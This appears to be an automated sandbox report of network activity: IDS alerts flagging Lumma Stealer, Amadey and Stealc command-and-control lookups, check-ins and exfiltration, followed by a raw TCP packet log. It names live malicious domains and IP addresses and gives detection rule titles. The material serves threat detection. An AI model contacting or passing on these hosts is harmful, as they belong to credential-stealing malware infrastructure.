2024-10-23T17:51:05.588019+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	62888	1.1.1.1	53	UDP
2024-10-23T17:51:05.603840+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	62514	1.1.1.1	53	UDP
2024-10-23T17:51:05.615763+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	57946	1.1.1.1	53	UDP
2024-10-23T17:51:05.626762+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	54706	1.1.1.1	53	UDP
2024-10-23T17:51:05.638147+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	58277	1.1.1.1	53	UDP
2024-10-23T17:51:05.650986+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	55373	1.1.1.1	53	UDP
2024-10-23T17:51:07.305012+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49710	104.102.49.254	443	TCP
2024-10-23T17:51:08.365714+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49712	172.67.206.204	443	TCP
2024-10-23T17:51:08.365714+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49712	172.67.206.204	443	TCP
2024-10-23T17:51:09.551526+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49713	172.67.206.204	443	TCP
2024-10-23T17:51:09.551526+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	172.67.206.204	443	TCP
2024-10-23T17:51:10.870853+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49714	172.67.206.204	443	TCP
2024-10-23T17:51:16.487975+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49740	172.67.206.204	443	TCP
2024-10-23T17:51:19.590822+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49755	172.67.206.204	443	TCP
2024-10-23T17:51:28.717187+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49763	185.215.113.16	80	TCP
2024-10-23T17:51:36.294908+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49848	185.215.113.43	80	TCP
2024-10-23T17:51:36.521186+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49847	185.215.113.37	80	TCP
2024-10-23T17:51:39.999146+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49868	185.215.113.16	80	TCP
2024-10-23T17:51:43.951097+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49864	TCP
2024-10-23T17:51:44.630519+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	51663	1.1.1.1	53	UDP
2024-10-23T17:51:44.643601+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	59965	1.1.1.1	53	UDP
2024-10-23T17:51:44.654395+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	62762	1.1.1.1	53	UDP
2024-10-23T17:51:44.665591+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	58137	1.1.1.1	53	UDP
2024-10-23T17:51:44.925894+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49894	185.215.113.43	80	TCP
2024-10-23T17:51:44.929572+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	55497	1.1.1.1	53	UDP
2024-10-23T17:51:44.942987+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	58587	1.1.1.1	53	UDP
2024-10-23T17:51:44.955659+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	62596	1.1.1.1	53	UDP
2024-10-23T17:51:44.967284+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	52894	1.1.1.1	53	UDP
2024-10-23T17:51:45.904504+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49900	185.215.113.16	80	TCP
2024-10-23T17:51:46.848032+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49901	104.102.49.254	443	TCP
2024-10-23T17:51:50.531119+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49926	185.215.113.43	80	TCP
2024-10-23T17:51:51.456408+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49932	185.215.113.16	80	TCP
2024-10-23T17:51:52.044908+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49933	185.215.113.37	80	TCP
2024-10-23T17:51:55.542860+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49955	185.215.113.43	80	TCP
2024-10-23T17:51:56.456556+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49961	185.215.113.16	80	TCP
2024-10-23T17:51:56.456556+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49961	185.215.113.16	80	TCP
2024-10-23T17:51:58.884909+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49974	185.215.113.37	80	TCP
2024-10-23T17:52:00.044360+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	60416	1.1.1.1	53	UDP
2024-10-23T17:52:00.064371+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	52776	1.1.1.1	53	UDP
2024-10-23T17:52:00.083767+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	64986	1.1.1.1	53	UDP
2024-10-23T17:52:00.094735+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	49662	1.1.1.1	53	UDP
2024-10-23T17:52:00.109512+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	59013	1.1.1.1	53	UDP
2024-10-23T17:52:00.126188+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	53812	1.1.1.1	53	UDP
2024-10-23T17:52:00.141932+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	56136	1.1.1.1	53	UDP
2024-10-23T17:52:00.158249+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	64161	1.1.1.1	53	UDP
2024-10-23T17:52:00.277023+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49987	185.215.113.43	80	TCP
2024-10-23T17:52:01.664366+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49993	104.102.49.254	443	TCP
2024-10-23T17:52:10.959972+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50033	185.215.113.37	80	TCP
2024-10-23T17:52:23.069561+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-23T17:52:34.072265+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	62882	1.1.1.1	53	UDP
2024-10-23T17:52:34.101019+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	56822	1.1.1.1	53	UDP
2024-10-23T17:52:34.148376+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	58560	1.1.1.1	53	UDP
2024-10-23T17:52:34.163707+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	60918	1.1.1.1	53	UDP
2024-10-23T17:52:34.175175+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	55538	1.1.1.1	53	UDP
2024-10-23T17:52:34.187584+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	65037	1.1.1.1	53	UDP
2024-10-23T17:52:34.199517+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	58411	1.1.1.1	53	UDP
2024-10-23T17:52:34.212193+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	51774	1.1.1.1	53	UDP
2024-10-23T17:52:35.830708+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50058	104.102.49.254	443	TCP
2024-10-23T17:52:36.870284+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50067	172.67.206.204	443	TCP
2024-10-23T17:52:36.870284+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50067	172.67.206.204	443	TCP
2024-10-23T17:52:38.372571+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50068	172.67.206.204	443	TCP
2024-10-23T17:52:38.372571+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50068	172.67.206.204	443	TCP
2024-10-23T17:52:43.689614+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50072	172.67.206.204	443	TCP
2024-10-23T17:52:44.927111+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50074	185.215.113.37	80	TCP
2024-10-23T17:52:51.692406+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50080	172.67.206.204	443	TCP
2024-10-23T17:52:54.764475+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50083	172.67.206.204	443	TCP
2024-10-23T17:52:59.387322+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50085	185.215.113.16	80	TCP
2024-10-23T17:53:03.096350+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50111	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 17:51:05.690285921 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:05.690321922 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:05.690704107 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:05.693357944 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:05.693377018 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:06.628703117 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:06.628793001 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:06.634872913 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:06.634885073 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:06.635209084 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:06.679011106 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:06.733226061 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:06.775330067 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305051088 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305082083 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305147886 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305200100 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305241108 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305336952 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.305362940 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.305414915 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.317935944 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.317961931 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.318031073 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.318041086 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.319394112 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.331794024 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.331878901 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.331888914 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.331928015 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.331979036 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.431732893 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.431759119 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.431778908 CEST	49710	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:07.431787968 CEST	443	49710	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:07.599040985 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:07.599091053 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:07.599251032 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:07.599776030 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:07.599796057 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.219434977 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.219562054 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.221667051 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.221678972 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.221988916 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.223596096 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.223635912 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.223676920 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365691900 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365731001 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365761042 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365808010 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365866899 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.365983009 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.366868973 CEST	49712	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.366888046 CEST	443	49712	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.423080921 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.423170090 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:08.423254967 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.423490047 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:08.423526049 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.044437885 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.044671059 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.045911074 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.045931101 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.046169996 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.047818899 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.047844887 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.047887087 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551565886 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551646948 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551743984 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551769972 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.551788092 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551827908 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.551832914 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551877022 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551922083 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.551925898 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.551990032 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.552041054 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.552046061 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.556689978 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.556745052 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.556750059 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.600922108 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671015024 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671117067 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671158075 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671196938 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671210051 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671237946 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671252966 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671340942 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671396971 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671578884 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671592951 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.671607018 CEST	49713	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.671612978 CEST	443	49713	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.853416920 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.853451967 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:09.853565931 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.853847980 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:09.853863001 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.474674940 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.474924088 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.476459980 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.476478100 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.476809025 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.478099108 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.478152990 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.478187084 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.870843887 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.870961905 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:10.871021986 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.871098042 CEST	49714	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:10.871119022 CEST	443	49714	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.027358055 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.027467012 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.027563095 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.027976036 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.028012991 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.658052921 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.658159018 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.660379887 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.660393953 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.661308050 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.663032055 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.663213968 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.663253069 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:11.663324118 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:11.663331032 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.058295012 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.058424950 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.058485985 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.058612108 CEST	49716	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.058629990 CEST	443	49716	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.291368008 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.291416883 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.291484118 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.292098999 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.292117119 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.912077904 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.912203074 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.913810968 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.913819075 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.914146900 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.915674925 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.915846109 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.915877104 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:12.915941000 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:12.915951014 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:13.595778942 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:13.595871925 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:13.595936060 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:13.596123934 CEST	49717	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:13.596146107 CEST	443	49717	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.116872072 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.116916895 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.116997957 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.117353916 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.117366076 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.732137918 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.732223988 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.733787060 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.733803034 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.734045982 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:14.735254049 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.735352039 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:14.735358953 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:15.254378080 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:15.254642010 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:15.254760981 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:15.254807949 CEST	49728	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:15.254832029 CEST	443	49728	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:15.862997055 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:15.863051891 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:15.863122940 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:15.863559008 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:15.863575935 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.476560116 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.476648092 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.480820894 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.480840921 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.481089115 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.486149073 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.486841917 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.486881971 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.487010956 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.487045050 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.487859011 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.487894058 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.488939047 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.488972902 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.489154100 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489187956 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.489315987 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489373922 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.489389896 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489397049 CEST	443	49740	172.67.206.204	192.168.2.6
